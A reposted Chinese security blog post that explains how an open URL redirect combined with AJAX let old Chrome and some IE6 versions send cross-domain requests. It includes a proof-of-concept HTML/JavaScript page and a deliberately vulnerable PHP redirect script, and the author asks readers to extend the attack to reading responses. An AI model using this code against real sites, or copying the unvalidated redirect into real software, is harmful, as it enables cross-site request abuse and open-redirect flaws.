AJAX结合URL转发漏洞跨域提交数据[网络技术]
本文“AJAX结合URL转发漏洞跨域提交数据[网络技术]”是由七道奇为您精心收集,来源于网络转载,文章版权归文章作者所有,本站不对其观点以及内容做任何评价,请读者自行判断,以下是其具体内容:
by 空虚荡子心
Chrome浏览器,在利用ajax的时刻,通过url转发漏洞的配合,可以跨域提交数据(但是不能读取返回数据).
IE6的某些版本(不知道是什么版本,在家里和某个网吧成功了),通过用户点"肯定"后,也是可以跨域提交并读取数据的.
通过url转发漏洞,才可以跨域.
下面是数据流程:
hack58.net/article/UploadPic/2009-5/20095161043821.jpg" width=490 style="cursor:pointer;"/>
先恳求存在URL转发漏洞的页面redirect.php.该页面返回"location : www.target.com".
于是浏览器又恳求了一次www.target.com.
在这里,FF和IE7以上,以及IE6某些无漏洞的版本,都是爆出权限错误的.
Chrome的漏洞:
Chrome在ajax接到302跳转之后,会给www.target.com发一个get恳求的包,而www.target.com就返回了数据.
惋惜返回数据后,js中的xmlhttp并没有办法读取返回的数据.不然漏洞就大了.
如图是paros得到的数据包:
hack58.net/article/UploadPic/2009-5/20095161044433.jpg" width=500 style="cursor:pointer;"/>
-----------------------------------------
IE6某些版本存在漏洞:
但是IE6的某些版本,通过用户的确认后,便可以跨域读取数据了:
hack58.net/article/UploadPic/2009-5/20095161044787.jpg" width=500 style="cursor:pointer;"/>
用户普通会点肯定.
hack58.net/article/UploadPic/2009-5/20095161044952.jpg" width=500 style="cursor:pointer;"/>
点了肯定后,alert出sohu那边抓来的信息.
下面是代码:
XML/HTML代码
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<!-- saved from url=(0046)http://www.inbreak.net/kxlzxtest/haha/ajax.htm -->
<HTML><HEAD>
<META http-equiv=Content-Type content="text/html; charset=gb2312">
<META content="MSHTML 6.00.6000.16825" name=GENERATOR></HEAD>
<BODY>
<DIV id=divid height="600" width="600" ><INPUT onclick=doMyAjax() type=button value=aaa> </DIV>
<SCRIPT>
var xmlHttp;
var tmpdiv;
function createXMLHttp(){
if(window.XMLHttpRequest){
xmlHttp = new XMLHttpRequest();
}
else if(window.ActiveXObject){
xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
}
}
function startRequest(doUrl){
createXMLHttp();
xmlHttp.open("GET", doUrl, false);
xmlHttp.send(null);
setTimeout("alert(xmlHttp.responseText)",3000);
}
function doMyAjax()
{
var time = Math.random();
var strPer = 'http://www.inbreak.net/kxlzxtest/haha/redirect.php?done=http://www.sohu.com'+String.fromCharCode(38)+'time='+time;
startRequest(strPer);
}
</SCRIPT>
</BODY></HTML>
请注意,在利用的时刻,因为是get恳求,而done需求的变量中有"&"标记,所以必须利用" String.fromCharCode(38) "来替换.不然会产生截断.
redirect.php代码很简单:
PHP代码
<?php
$kxlzx = "Location: ".$_GET["done"];
header($kxlzx);
exit;
?>
关于chrome这里,没办法读取目标域返回的数据,深感遗憾,所以发出来这篇文章,大家想想办法.
以上是“AJAX结合URL转发漏洞跨域提交数据[网络技术]”的内容,如果你对以上该文章内容感兴趣,你可以看看七道奇为您推荐以下文章:
本文地址: | 与您的QQ/BBS好友分享! |